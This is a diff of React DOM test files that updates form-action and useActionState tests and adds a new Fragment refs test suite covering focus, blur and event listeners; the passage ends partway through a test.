+    await submit(imageButtonRef.current);
+
+    expect(button).toBe(null);
+    expect(buttonX).toBe('0');
+    expect(buttonY).toBe('0');
+    expect(title).toBe('hello');
   });
 
   it('excludes the submitter name when the submitter is a function action', async () => {
@@ -561,29 +577,31 @@ describe('ReactDOMForm', () => {
     }
 
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(async () => {
-        root.render(
-          <form>
-            <input
-              type="submit"
-              name="button"
-              value="delete"
-              ref={inputRef}
-              formAction={action}
-            />
-            <button
-              name="button"
-              value="edit"
-              ref={buttonRef}
-              formAction={action}>
-              Edit
-            </button>
-          </form>,
-        );
-      });
-    }).toErrorDev([
-      'Cannot specify a "name" prop for a button that specifies a function as a formAction.',
+    await act(async () => {
+      root.render(
+        <form>
+          <input
+            type="submit"
+            name="button"
+            value="delete"
+            ref={inputRef}
+            formAction={action}
+          />
+          <button
+            name="button"
+            value="edit"
+            ref={buttonRef}
+            formAction={action}>
+            Edit
+          </button>
+        </form>,
+      );
+    });
+    assertConsoleErrorDev([
+      'Cannot specify a "name" prop for a button that specifies a function as a formAction. ' +
+        'React needs it to encode which action should be invoked. ' +
+        'It will get overridden.\n' +
+        '    in input (at **)',
     ]);
 
     await submit(inputRef.current);
@@ -665,7 +683,6 @@ describe('ReactDOMForm', () => {
     expect(actionCalled).toBe(false);
   });
 
-  // @gate enableAsyncActions
   it('form actions are transitions', async () => {
     const formRef = React.createRef();
 
@@ -703,7 +720,6 @@ describe('ReactDOMForm', () => {
     expect(container.textContent).toBe('Updated');
   });
 
-  // @gate enableAsyncActions
   it('multiple form actions', async () => {
     const formRef = React.createRef();
 
@@ -794,12 +810,6 @@ describe('ReactDOMForm', () => {
   });
 
   it('sync errors in form actions can be captured by an error boundary', async () => {
-    if (gate(flags => !flags.enableAsyncActions)) {
-      // TODO: Uncaught JSDOM errors fail the test after the scope has finished
-      // so don't work with the `gate` mechanism.
-      return;
-    }
-
     class ErrorBoundary extends React.Component {
       state = {error: null};
       static getDerivedStateFromError(error) {
@@ -840,12 +850,6 @@ describe('ReactDOMForm', () => {
   });
 
   it('async errors in form actions can be captured by an error boundary', async () => {
-    if (gate(flags => !flags.enableAsyncActions)) {
-      // TODO: Uncaught JSDOM errors fail the test after the scope has finished
-      // so don't work with the `gate` mechanism.
-      return;
-    }
-
     class ErrorBoundary extends React.Component {
       state = {error: null};
       static getDerivedStateFromError(error) {
@@ -891,7 +895,6 @@ describe('ReactDOMForm', () => {
     expect(container.textContent).toBe('Oh no!');
   });
 
-  // @gate enableAsyncActions
   it('useFormStatus reads the status of a pending form action', async () => {
     const formRef = React.createRef();
 
@@ -988,7 +991,6 @@ describe('ReactDOMForm', () => {
     );
   });
 
-  // @gate enableAsyncActions
   it('useActionState updates state asynchronously and queues multiple actions', async () => {
     let actionCounter = 0;
     async function action(state, type) {
@@ -1048,7 +1050,6 @@ describe('ReactDOMForm', () => {
     expect(container.textContent).toBe('2');
   });
 
-  // @gate enableAsyncActions
   it('useActionState supports inline actions', async () => {
     let increment;
     function App({stepSize}) {
@@ -1080,7 +1081,6 @@ describe('ReactDOMForm', () => {
     assertLog(['Pending 1', '11']);
   });
 
-  // @gate enableAsyncActions
   it('useActionState: dispatch throws if called during render', async () => {
     function App() {
       const [state, dispatch, isPending] = useActionState(async () => {}, 0);
@@ -1092,11 +1092,10 @@ describe('ReactDOMForm', () => {
     const root = ReactDOMClient.createRoot(container);
     await act(async () => {
       root.render(<App />);
-      await waitForThrow('Cannot update form state while rendering.');
+      await waitForThrow('Cannot update action state while rendering.');
     });
   });
 
-  // @gate enableAsyncActions
   it('useActionState: queues multiple actions and runs them in order', async () => {
     let action;
     function App() {
@@ -1128,7 +1127,6 @@ describe('ReactDOMForm', () => {
     expect(container.textContent).toBe('D');
   });
 
-  // @gate enableAsyncActions
   it(
     'useActionState: when calling a queued action, uses the implementation ' +
       'that was current at the time it was dispatched, not the most recent one',
@@ -1175,7 +1173,6 @@ describe('ReactDOMForm', () => {
     },
   );
 
-  // @gate enableAsyncActions
   it('useActionState: works if action is sync', async () => {
     let increment;
     function App({stepSize}) {
@@ -1207,7 +1204,6 @@ describe('ReactDOMForm', () => {
     assertLog(['Pending 1', '11']);
   });
 
-  // @gate enableAsyncActions
   it('useActionState: can mix sync and async actions', async () => {
     let action;
     function App() {
@@ -1235,7 +1231,6 @@ describe('ReactDOMForm', () => {
     expect(container.textContent).toBe('E');
   });
 
-  // @gate enableAsyncActions
   it('useActionState: error handling (sync action)', async () => {
     class ErrorBoundary extends React.Component {
       state = {error: null};
@@ -1284,7 +1279,6 @@ describe('ReactDOMForm', () => {
     expect(container.textContent).toBe('Caught an error: Oops!');
   });
 
-  // @gate enableAsyncActions
   it('useActionState: error handling (async action)', async () => {
     class ErrorBoundary extends React.Component {
       state = {error: null};
@@ -1390,7 +1384,6 @@ describe('ReactDOMForm', () => {
     expect(container.textContent).toBe('Caught an error: Oops!');
   });
 
-  // @gate enableAsyncActions
   it('useActionState works in StrictMode', async () => {
     let actionCounter = 0;
     async function action(state, type) {
@@ -1455,13 +1448,23 @@ describe('ReactDOMForm', () => {
         </Suspense>,
       ),
     );
-    assertLog(['Suspend! [Count: 0]', 'Loading...']);
+    assertLog([
+      'Suspend! [Count: 0]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [Count: 0]',
+    ]);
     await act(() => resolveText('Count: 0'));
     assertLog(['Count: 0']);
 
     // Dispatch outside of a transition. This will trigger a loading state.
     await act(() => dispatch());
-    assertLog(['Suspend! [Count: 1]', 'Loading...']);
+    assertLog([
+      'Suspend! [Count: 1]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [Count: 1]',
+    ]);
     expect(container.textContent).toBe('Loading...');
 
     await act(() => resolveText('Count: 1'));
@@ -1491,20 +1494,27 @@ describe('ReactDOMForm', () => {
 
     const root = ReactDOMClient.createRoot(container);
     await act(() => root.render(<App />));
-    assertLog(['Suspend! [Count: 0]']);
+    assertLog([
+      'Suspend! [Count: 0]',
+      // pre-warming
+      'Suspend! [Count: 0]',
+    ]);
     await act(() => resolveText('Count: 0'));
     assertLog(['Count: 0']);
 
     // Dispatch outside of a transition.
     await act(() => dispatch());
     assertConsoleErrorDev([
-      [
-        'An async function was passed to useActionState, but it was ' +
-          'dispatched outside of an action context',
-        {withoutStack: true},
-      ],
+      'An async function with useActionState was called outside of a transition. ' +
+        'This is likely not what you intended (for example, isPending will not update ' +
+        'correctly). Either call the returned function inside startTransition, or pass it ' +
+        'to an `action` or `formAction` prop.',
+    ]);
+    assertLog([
+      'Suspend! [Count: 1]',
+      // pre-warming
+      'Suspend! [Count: 1]',
     ]);
-    assertLog(['Suspend! [Count: 1]']);
     expect(container.textContent).toBe('Count: 0');
   });
 
@@ -1586,6 +1596,57 @@ describe('ReactDOMForm', () => {
     expect(divRef.current.textContent).toEqual('Current username: acdlite');
   });
 
+  it('should fire onReset on automatic form reset', async () => {
+    const formRef = React.createRef();
+    const inputRef = React.createRef();
+
+    let setValue;
+    const defaultValue = 0;
+    function App({promiseForUsername}) {
+      const [value, _setValue] = useState(defaultValue);
+      setValue = _setValue;
+
+      return (
+        <form
+          ref={formRef}
+          action={async formData => {
+            Scheduler.log(`Async action started`);
+            await getText('Wait');
+          }}
+          onReset={() => {
+            setValue(defaultValue);
+          }}>
+          <input
+            ref={inputRef}
+            text="text"
+            name="amount"
+            value={value}
+            onChange={event => setValue(event.currentTarget.value)}
+          />
+        </form>
+      );
+    }
+
+    const root = ReactDOMClient.createRoot(container);
+    await act(() => root.render(<App />));
+
+    // Dirty the controlled input
+    await act(() => setValue('3'));
+    expect(inputRef.current.value).toEqual('3');
+
+    // Submit the form. This will trigger an async action.
+    await submit(formRef.current);
+    assertLog(['Async action started']);
+
+    // We haven't reset yet.
+    expect(inputRef.current.value).toEqual('3');
+
+    // Action completes. onReset has been fired and values reset manually.
+    await act(() => resolveText('Wait'));
+    assertLog([]);
+    expect(inputRef.current.value).toEqual('0');
+  });
+
   it('requestFormReset schedules a form reset after transition completes', async () => {
     // This is the same as the previous test, except the form is updated with
     // a userspace action instead of a built-in form action.
@@ -1671,6 +1732,37 @@ describe('ReactDOMForm', () => {
     expect(divRef.current.textContent).toEqual('Current username: acdlite');
   });
 
+  it('parallel form submissions do not throw', async () => {
+    const formRef = React.createRef();
+    let resolve = null;
+    function App() {
+      async function submitForm() {
+        Scheduler.log('Action');
+        if (!resolve) {
+          await new Promise(res => {
+            resolve = res;
+          });
+        }
+      }
+      return <form ref={formRef} action={submitForm} />;
+    }
+    const root = ReactDOMClient.createRoot(container);
+    await act(() => root.render(<App />));
+
+    // Start first form submission
+    await act(async () => {
+      formRef.current.requestSubmit();
+    });
+    assertLog(['Action']);
+
+    // Submit form again while first form action is still pending
+    await act(async () => {
+      formRef.current.requestSubmit();
+      resolve(); // Resolve the promise to allow the first form action to complete
+    });
+    assertLog(['Action']);
+  });
+
   it(
     'requestFormReset works with inputs that are not descendants ' +
       'of the form element',
@@ -1922,11 +2014,11 @@ describe('ReactDOMForm', () => {
     expect(inputRef.current.value).toBe('  Updated  ');
 
     // This triggers a synchronous requestFormReset, and a warning
-    await expect(async () => {
-      await act(() => resolveText('Wait 1'));
-    }).toErrorDev(['requestFormReset was called outside a transition'], {
-      withoutStack: true,
-    });
+    await act(() => resolveText('Wait 1'));
+    assertConsoleErrorDev([
+      'requestFormReset was called outside a transition or action. ' +
+        'To fix, move to an action, or wrap with startTransition.',
+    ]);
     assertLog(['Request form reset']);
 
     // The form was reset even though the action didn't finish.
@@ -1960,7 +2052,13 @@ describe('ReactDOMForm', () => {
 
     // Symbols are coerced to null, so this should fire the form action
     await act(() => root.render(<App submitterAction={Symbol()} />));
-    assertConsoleErrorDev(['Invalid value for prop `formAction`']);
+    assertConsoleErrorDev([
+      'Invalid value for prop `formAction` on <button> tag. ' +
+        'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +
+        'For details, see https://react.dev/link/attribute-behavior \n' +
+        '    in button (at **)\n' +
+        '    in App (at **)',
+    ]);
     await submit(buttonRef.current);
     assertLog(['Form action']);
 
@@ -2204,7 +2302,13 @@ describe('ReactDOMForm', () => {
 
     // Symbols are coerced to null
     await act(() => root.render(<Form action={Symbol()} />));
-    assertConsoleErrorDev(['Invalid value for prop `action`']);
+    assertConsoleErrorDev([
+      'Invalid value for prop `action` on <form> tag. ' +
+        'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +
+        'For details, see https://react.dev/link/attribute-behavior \n' +
+        '    in form (at **)\n' +
+        '    in Form (at **)',
+    ]);
     await submit(formRef.current);
     assertLog([null]);
 
@@ -2224,14 +2328,80 @@ describe('ReactDOMForm', () => {
     await submit(formRef.current);
     assertLog([actionFn]);
 
-    // Everything else is toString-ed
+    // Everything else is toString-ed, unless trusted types are enabled.
     class MyAction {
       toString() {
         return 'stringified action';
       }
     }
-    await act(() => root.render(<Form action={new MyAction()} />));
+    const instance = new MyAction();
+
+    await act(() => root.render(<Form action={instance} />));
     await submit(formRef.current);
-    assertLog(['stringified action']);
+    assertLog(
+      gate('enableTrustedTypesIntegration')
+        ? [instance]
+        : ['stringified action'],
+    );
+  });
+
+  it('form actions should retain status when nested state changes', async () => {
+    const formRef = React.createRef();
+
+    let rerenderUnrelatedStatus;
+    function UnrelatedStatus() {
+      const {pending} = useFormStatus();
+      const [counter, setCounter] = useState(0);
+      rerenderUnrelatedStatus = () => setCounter(n => n + 1);
+      Scheduler.log(`[unrelated form] pending: ${pending}, state: ${counter}`);
+    }
+
+    let rerenderTargetStatus;
+    function TargetStatus() {
+      const {pending} = useFormStatus();
+      const [counter, setCounter] = useState(0);
+      Scheduler.log(`[target form] pending: ${pending}, state: ${counter}`);
+      rerenderTargetStatus = () => setCounter(n => n + 1);
+    }
+
+    function App() {
+      async function action() {
+        return new Promise(resolve => {
+          // never resolves
+        });
+      }
+
+      return (
+        <>
+          <form action={action} ref={formRef}>
+            <input type="submit" />
+            <TargetStatus />
+          </form>
+          <form>
+            <UnrelatedStatus />
+          </form>
+        </>
+      );
+    }
+
+    const root = ReactDOMClient.createRoot(container);
+    await act(() => root.render(<App />));
+
+    assertLog([
+      '[target form] pending: false, state: 0',
+      '[unrelated form] pending: false, state: 0',
+    ]);
+
+    await submit(formRef.current);
+
+    assertLog(['[target form] pending: true, state: 0']);
+
+    await act(() => rerenderTargetStatus());
+
+    assertLog(['[target form] pending: true, state: 1']);
+
+    await act(() => rerenderUnrelatedStatus());
+
+    assertLog(['[unrelated form] pending: false, state: 1']);
   });
 });
diff --git a/packages/react-dom/src/__tests__/ReactDOMFragmentRefs-test.js b/packages/react-dom/src/__tests__/ReactDOMFragmentRefs-test.js
new file mode 100644
index 000000000000..3b702648eff6
--- /dev/null
+++ b/packages/react-dom/src/__tests__/ReactDOMFragmentRefs-test.js
@@ -0,0 +1,2684 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @emails reactcore
+ */
+
+'use strict';
+
+let React;
+let ReactDOMClient;
+let ReactDOM;
+let createPortal;
+let act;
+let container;
+let Fragment;
+let Activity;
+let mockIntersectionObserver;
+let simulateIntersection;
+let setClientRects;
+let mockRangeClientRects;
+let assertConsoleErrorDev;
+
+function Wrapper({children}) {
+  return children;
+}
+
+describe('FragmentRefs', () => {
+  beforeEach(() => {
+    jest.resetModules();
+    React = require('react');
+    Fragment = React.Fragment;
+    Activity = React.Activity;
+    ReactDOMClient = require('react-dom/client');
+    ReactDOM = require('react-dom');
+    createPortal = ReactDOM.createPortal;
+    act = require('internal-test-utils').act;
+    const IntersectionMocks = require('./utils/IntersectionMocks');
+    mockIntersectionObserver = IntersectionMocks.mockIntersectionObserver;
+    simulateIntersection = IntersectionMocks.simulateIntersection;
+    setClientRects = IntersectionMocks.setClientRects;
+    mockRangeClientRects = IntersectionMocks.mockRangeClientRects;
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
+
+    container = document.createElement('div');
+    document.body.innerHTML = '';
+    document.body.appendChild(container);
+  });
+
+  afterEach(() => {
+    document.body.removeChild(container);
+  });
+
+  // @gate enableFragmentRefs
+  it('attaches a ref to Fragment', async () => {
+    const fragmentRef = React.createRef();
+    const root = ReactDOMClient.createRoot(container);
+
+    await act(() =>
+      root.render(
+        <div id="parent">
+          <Fragment ref={fragmentRef}>
+            <div id="child">Hi</div>
+          </Fragment>
+        </div>,
+      ),
+    );
+    expect(container.innerHTML).toEqual(
+      '<div id="parent"><div id="child">Hi</div></div>',
+    );
+
+    expect(fragmentRef.current).not.toBe(null);
+  });
+
+  // @gate enableFragmentRefs
+  it('accepts a ref callback', async () => {
+    let fragmentRef;
+    const root = ReactDOMClient.createRoot(container);
+
+    await act(() => {
+      root.render(
+        <Fragment ref={ref => (fragmentRef = ref)}>
+          <div id="child">Hi</div>
+        </Fragment>,
+      );
+    });
+
+    expect(fragmentRef._fragmentFiber).toBeTruthy();
+  });
+
+  // @gate enableFragmentRefs
+  it('is available in effects', async () => {
+    function Test() {
+      const fragmentRef = React.useRef(null);
+      React.useLayoutEffect(() => {
+        expect(fragmentRef.current).not.toBe(null);
+      });
+      React.useEffect(() => {
+        expect(fragmentRef.current).not.toBe(null);
+      });
+      return (
+        <Fragment ref={fragmentRef}>
+          <div />
+        </Fragment>
+      );
+    }
+
+    const root = ReactDOMClient.createRoot(container);
+    await act(() => root.render(<Test />));
+  });
+
+  // @gate enableFragmentRefs && enableFragmentRefsInstanceHandles
+  it('attaches fragment handles to nodes', async () => {
+    const fragmentParentRef = React.createRef();
+    const fragmentRef = React.createRef();
+
+    function Test({show}) {
+      return (
+        <Fragment ref={fragmentParentRef}>
+          <Fragment ref={fragmentRef}>
+            <div id="childA">A</div>
+            <div id="childB">B</div>
+          </Fragment>
+          <div id="childC">C</div>
+          {show && <div id="childD">D</div>}
+        </Fragment>
+      );
+    }
+
+    const root = ReactDOMClient.createRoot(container);
+    await act(() => root.render(<Test show={false} />));
+
+    const childA = document.querySelector('#childA');
+    const childB = document.querySelector('#childB');
+    const childC = document.querySelector('#childC');
+
+    expect(childA.reactFragments.has(fragmentRef.current)).toBe(true);
+    expect(childB.reactFragments.has(fragmentRef.current)).toBe(true);
+    expect(childC.reactFragments.has(fragmentRef.current)).toBe(false);
+    expect(childA.reactFragments.has(fragmentParentRef.current)).toBe(true);
+    expect(childB.reactFragments.has(fragmentParentRef.current)).toBe(true);
+    expect(childC.reactFragments.has(fragmentParentRef.current)).toBe(true);
+
+    await act(() => root.render(<Test show={true} />));
+
+    const childD = document.querySelector('#childD');
+    expect(childD.reactFragments.has(fragmentRef.current)).toBe(false);
+    expect(childD.reactFragments.has(fragmentParentRef.current)).toBe(true);
+  });
+
+  describe('focus methods', () => {
+    describe('focus()', () => {
+      // @gate enableFragmentRefs
+      it('focuses the first focusable child', async () => {
+        const fragmentRef = React.createRef();
+        const root = ReactDOMClient.createRoot(container);
+
+        function Test() {
+          return (
+            <div>
+              <Fragment ref={fragmentRef}>
+                <div id="child-a" />
+                <style>{`#child-c {}`}</style>
+                <a id="child-b" href="/">
+                  B
+                </a>
+                <a id="child-c" href="/">
+                  C
+                </a>
+              </Fragment>
+            </div>
+          );
+        }
+
+        await act(() => {
+          root.render(<Test />);
+        });
+
+        await act(() => {
+          fragmentRef.current.focus();
+        });
+        expect(document.activeElement.id).toEqual('child-b');
+        document.activeElement.blur();
+      });
+
+      // @gate enableFragmentRefs
+      it('focuses deeply nested focusable children, depth first', async () => {
+        const fragmentRef = React.createRef();
+        const root = ReactDOMClient.createRoot(container);
+
+        function Test() {
+          return (
+            <Fragment ref={fragmentRef}>
+              <div id="child-a">
+                <div tabIndex={0} id="grandchild-a">
+                  <a id="greatgrandchild-a" href="/" />
+                </div>
+              </div>
+              <a id="child-b" href="/" />
+            </Fragment>
+          );
+        }
+        await act(() => {
+          root.render(<Test />);
+        });
+        await act(() => {
+          fragmentRef.current.focus();
+        });
+        expect(document.activeElement.id).toEqual('grandchild-a');
+      });
+
+      // @gate enableFragmentRefs
+      it('preserves document order when adding and removing children', async () => {
+        const fragmentRef = React.createRef();
+        const root = ReactDOMClient.createRoot(container);
+
+        function Test({showA, showB}) {
+          return (
+            <Fragment ref={fragmentRef}>
+              {showA && <a href="/" id="child-a" />}
+              {showB && <a href="/" id="child-b" />}
+            </Fragment>
+          );
+        }
+
+        // Render with A as the first focusable child
+        await act(() => {
+          root.render(<Test showA={true} showB={false} />);
+        });
+        await act(() => {
+          fragmentRef.current.focus();
+        });
+        expect(document.activeElement.id).toEqual('child-a');
+        document.activeElement.blur();
+        // A is still the first focusable child, but B is also tracked
+        await act(() => {
+          root.render(<Test showA={true} showB={true} />);
+        });
+        await act(() => {
+          fragmentRef.current.focus();
+        });
+        expect(document.activeElement.id).toEqual('child-a');
+        document.activeElement.blur();
+
+        // B is now the first focusable child
+        await act(() => {
+          root.render(<Test showA={false} showB={true} />);
+        });
+        await act(() => {
+          fragmentRef.current.focus();
+        });
+        expect(document.activeElement.id).toEqual('child-b');
+        document.activeElement.blur();
+      });
+
+      // @gate enableFragmentRefs
+      it('keeps focus on the first focusable child if already focused', async () => {
+        const fragmentRef = React.createRef();
+        const root = ReactDOMClient.createRoot(container);
+
+        function Test() {
+          return (
+            <Fragment ref={fragmentRef}>
+              <a id="child-a" href="/">
+                A
+              </a>
+              <a id="child-b" href="/">
+                B
+              </a>
+            </Fragment>
+          );
+        }
+
+        await act(() => {
+          root.render(<Test />);
+        });
+
+        // Focus the first child manually
+        document.getElementById('child-a').focus();
+        expect(document.activeElement.id).toEqual('child-a');
+
+        // Calling fragment.focus() should keep focus on child-a,
+        // not skip to child-b
+        await act(() => {
+          fragmentRef.current.focus();
+        });
+        expect(document.activeElement.id).toEqual('child-a');
+        document.activeElement.blur();
+      });
+
+      // @gate enableFragmentRefs
+      it('keeps focus on a nested child if already focused', async () => {
+        const fragmentRef = React.createRef();
+        const root = ReactDOMClient.createRoot(container);
+
+        function Test() {
+          return (
+            <Fragment ref={fragmentRef}>
+              <div>
+                <input id="nested-input" />
+              </div>
+              <a id="sibling-link" href="/">
+                Link
+              </a>
+            </Fragment>
+          );
+        }
+
+        await act(() => {
+          root.render(<Test />);
+        });
+
+        // Focus the nested input manually
+        document.getElementById('nested-input').focus();
+        expect(document.activeElement.id).toEqual('nested-input');
+
+        // Calling fragment.focus() should keep focus on nested-input
+        await act(() => {
+          fragmentRef.current.focus();
+        });
+        expect(document.activeElement.id).toEqual('nested-input');
+        document.activeElement.blur();
+      });
+
+      // @gate enableFragmentRefs
+      it('focuses the first focusable child in a fieldset', async () => {
+        const fragmentRef = React.createRef();
+        const root = ReactDOMClient.createRoot(container);
+
+        function Test() {
+          return (
+            <Fragment ref={fragmentRef}>
+              <fieldset>
+                <legend>Shipping</legend>
+                <input id="street" name="street" />
+                <input id="city" name="city" />
+              </fieldset>
+            </Fragment>
+          );
+        }
+
+        await act(() => {
+          root.render(<Test />);
+        });
+        await act(() => {
+          fragmentRef.current.focus();
+        });
+        expect(document.activeElement.id).toEqual('street');
+        document.activeElement.blur();
+      });
+    });
+
+    describe('focusLast()', () => {
+      // @gate enableFragmentRefs
+      it('focuses the last focusable child', async () => {
+        const fragmentRef = React.createRef();
+        const root = ReactDOMClient.createRoot(container);
+
+        function Test() {
+          return (
+            <div>
+              <Fragment ref={fragmentRef}>
+                <a id="child-a" href="/">
+                  A
+                </a>
+                <a id="child-b" href="/">
+                  B
+                </a>
+                <Wrapper>
+                  <a id="child-c" href="/">
+                    C
+                  </a>
+                </Wrapper>
+                <div id="child-d" />
+                <style id="child-e">{`#child-d {}`}</style>
+              </Fragment>
+            </div>
+          );
+        }
+
+        await act(() => {
+          root.render(<Test />);
+        });
+
+        await act(() => {
+          fragmentRef.current.focusLast();
+        });
+        expect(document.activeElement.id).toEqual('child-c');
+        document.activeElement.blur();
+      });
+
+      // @gate enableFragmentRefs
+      it('focuses deeply nested focusable children, depth first', async () => {
+        const fragmentRef = React.createRef();
+        const root = ReactDOMClient.createRoot(container);
+
+        function Test() {
+          return (
+            <Fragment ref={fragmentRef}>
+              <div id="child-a" href="/">
+                <a id="grandchild-a" href="/" />
+                <a id="grandchild-b" href="/" />
+              </div>
+              <div tabIndex={0} id="child-b">
+                <a id="grandchild-a" href="/" />
+                <a id="grandchild-b" href="/" />
+              </div>
+            </Fragment>
+          );
+        }
+        await act(() => {
+          root.render(<Test />);
+        });
+        await act(() => {
+          fragmentRef.current.focusLast();
+        });
+        expect(document.activeElement.id).toEqual('grandchild-b');
+      });
+    });
+
+    describe('blur()', () => {
+      // @gate enableFragmentRefs
+      it('removes focus from an element inside of the Fragment', async () => {
+        const fragmentRef = React.createRef();
+        const root = ReactDOMClient.createRoot(container);
+
+        function Test() {
+          return (
+            <Fragment ref={fragmentRef}>
+              <a id="child-a" href="/">
+                A
+              </a>
+            </Fragment>
+          );
+        }
+
+        await act(() => {
+          root.render(<Test />);
+        });
+
+        await act(() => {
+          fragmentRef.current.focus();
+        });
+        expect(document.activeElement.id).toEqual('child-a');
+
+        await act(() => {
+          fragmentRef.current.blur();
+        });
+        expect(document.activeElement).toEqual(document.body);
+      });
+
+      // @gate enableFragmentRefs
+      it('does not remove focus from elements outside of the Fragment', async () => {
+        const fragmentRefA = React.createRef();
+        const fragmentRefB = React.createRef();
+        const root = ReactDOMClient.createRoot(container);
+
+        function Test() {
+          return (
+            <Fragment ref={fragmentRefA}>
+              <a id="child-a" href="/">
+                A
+              </a>
+              <Fragment ref={fragmentRefB}>
+                <a id="child-b" href="/">
+                  B
+                </a>
+              </Fragment>
+            </Fragment>
+          );
+        }
+
+        await act(() => {
+          root.render(<Test />);
+        });
+
+        await act(() => {
+          fragmentRefA.current.focus();
+        });
+        expect(document.activeElement.id).toEqual('child-a');
+
+        await act(() => {
+          fragmentRefB.current.blur();
+        });
+        expect(document.activeElement.id).toEqual('child-a');
+      });
+    });
+  });
+
+  describe('events', () => {
+    describe('add/remove event listeners', () => {
+      // @gate enableFragmentRefs
+      it('adds and removes event listeners from children', async () => {
+        const parentRef = React.createRef();
+        const fragmentRef = React.createRef();
+        const childARef = React.createRef();
+        const childBRef = React.createRef();
+        const root = ReactDOMClient.createRoot(container);
+
+        let logs = [];
+
+        function handleFragmentRefClicks() {
+          logs.push('fragmentRef');
+        }
+
+        function Test() {
+          React.useEffect(() => {
+            fragmentRef.current.addEventListener(
+              'click',
+              handleFragmentRefClicks,
+            );
+
+            return () => {
+              fragmentRef.current.removeEventListener(
+                'click',
+                handleFragmentRefClicks,
+              );
+            };
+          }, []);
+          return (
+            <div ref={parentRef}>
+              <Fragment ref={fragmentRef}>
+                <>Text</>
+                <div ref={childARef}>A</div>
+                <>
+                  <div ref={childBRef}>B</div>
+                </>
+              </Fragment>
+            </div>
+          );
+        }
+
+        await act(() => {
+          root.render(<Test />);
+        });
+
+        childARef.current.addEventListener('click', () => {
+          logs.push('A');
+        });
+
+        childBRef.current.addEventListener('click', () => {
+          logs.push('B');
+        });
+
+        // Clicking on the parent should not trigger any listeners
+        parentRef.current.click();
+        expect(logs).toEqual([]);
+
+        // Clicking a child triggers its own listeners and the Fragment's
+        childARef.current.click();
+        expect(logs).toEqual(['fragmentRef', 'A']);
+
+        logs = [];
+
+        childBRef.current.click();
+        expect(logs).toEqual(['fragmentRef', 'B']);
+
+        logs = [];
+
+        fragmentRef.current.removeEventListener(
+          'click',
+          handleFragmentRefClicks,
+        );
+
+        childARef.current.click();
+        expect(logs).toEqual(['A']);
+
+        logs = [];
+
+        childBRef.current.click();
+        expect(logs).toEqual(['B']);
+      });
+
+      // @gate enableFragmentRefs
+      it('adds and removes event listeners from children with multiple fragments', async () => {
+        const fragmentRef = React.createRef();
+        const nestedFragmentRef = React.createRef();
+        const nestedFragmentRef2 = React.createRef();
+        const childARef = React.createRef();
+        const childBRef = React.createRef();
+        const childCRef = React.createRef();
+        const root = ReactDOMClient.createRoot(container);
+
+        await act(() => {
+          root.render(
+            <div>
+              <Fragment ref={fragmentRef}>
+                <div ref={childARef}>A</div>
+                <div>
+                  <Fragment ref={nestedFragmentRef}>
+                    <div ref={childBRef}>B</div>
+                  </Fragment>
+                </div>
+                <Fragment ref={nestedFragmentRef2}>
+                  <div ref={childCRef}>C</div>
+                </Fragment>
+              </Fragment>
+            </div>,
+          );
+        });
+
+        let logs = [];
+
+        function handleFragmentRefClicks() {
+          logs.push('fragmentRef');
+        }
+
+        function handleNestedFragmentRefClicks() {
+          logs.push('nestedFragmentRef');
+        }
+
+        function handleNestedFragmentRef2Clicks() {
+          logs.push('nestedFragmentRef2');
+        }
+
+        fragmentRef.current.addEventListener('click', handleFragmentRefClicks);
+        nestedFragmentRef.current.addEventListener(
+          'click',
+          handleNestedFragmentRefClicks,
+        );
+        nestedFragmentRef2.current.addEventListener(
+          'click',
+          handleNestedFragmentRef2Clicks,
+        );
+
+        childBRef.current.click();
+        // Event bubbles to the parent fragment
+        expect(logs).toEqual(['nestedFragmentRef', 'fragmentRef']);
+
+        logs = [];
+
+        childARef.current.click();
+        expect(logs).toEqual(['fragmentRef']);
+
+        logs = [];
+        childCRef.current.click();
+        expect(logs).toEqual(['fragmentRef', 'nestedFragmentRef2']);
+
+        logs = [];
+
+        fragmentRef.current.removeEventListener(
+          'click',
+          handleFragmentRefClicks,
+        );
+        nestedFragmentRef.current.removeEventListener(
+          'click',
+          handleNestedFragmentRefClicks,
+        );
+        childCRef.current.click();
+        expect(logs).toEqual(['nestedFragmentRef2']);
+      });
+
+      // @gate enableFragmentRefs
+      it('adds an event listener to a newly added child', async () => {
+        const fragmentRef = React.createRef();
+        const childRef = React.createRef();
+        const root = ReactDOMClient.createRoot(container);
+        let showChild;
+
+        function Component() {
+          const [shouldShowChild, setShouldShowChild] = React.useState(false);
+          showChild = () => {
+            setShouldShowChild(true);
+          };
+
+          return (
+            <div>
+              <Fragment ref={fragmentRef}>
+                <div id="a">A</div>
+                {shouldShowChild && (
+                  <div ref={childRef} id="b">
+                    B
+                  </div>
+                )}
+              </Fragment>
+            </div>
+          );
+        }
+
+        await act(() => {
+          root.render(<Component />);
+        });
+
+        expect(fragmentRef.current).not.toBe(null);
+        expect(childRef.current).toBe(null);
+
+        let hasClicked = false;
+        fragmentRef.current.addEventListener('click', () => {
+          hasClicked = true;
+        });
+
+        await act(() => {
+          showChild();
+        });
+        expect(childRef.current).not.toBe(null);
+
+        childRef.current.click();
+        expect(hasClicked).toBe(true);
+      });
+
+      // @gate enableFragmentRefs
+      it('applies event listeners to host children nested within non-host children', async () => {
+        const fragmentRef = React.createRef();
+        const childRef = React.createRef();
+        const nestedChildRef = React.createRef();
+        const root = ReactDOMClient.createRoot(container);
+
+        await act(() => {
+          root.render(
+            <div>
+              <Fragment ref={fragmentRef}>
+                <div ref={childRef}>Host A</div>
+                <Wrapper>
+                  <Wrapper>
+                    <Wrapper>
+                      <div ref={nestedChildRef}>Host B</div>
+                    </Wrapper>
+                  </Wrapper>
+                </Wrapper>
+              </Fragment>
+            </div>,
+          );
+        });
+        const logs = [];
+        fragmentRef.current.addEventListener('click', e => {
+          logs.push(e.target.textContent);
+        });
+
+        expect(logs).toEqual([]);
+        childRef.current.click();
+        expect(logs).toEqual(['Host A']);
+        nestedChildRef.current.click();
+        expect(logs).toEqual(['Host A', 'Host B']);
+      });
+
+      // @gate enableFragmentRefs
+      it('allows adding and cleaning up listeners in effects', async () => {
+        const root = ReactDOMClient.createRoot(container);
+
+        let logs = [];
+        function logClick(e) {
+          logs.push(e.currentTarget.id);
+        }
+
+        let rerender;
+        let removeEventListeners;
+
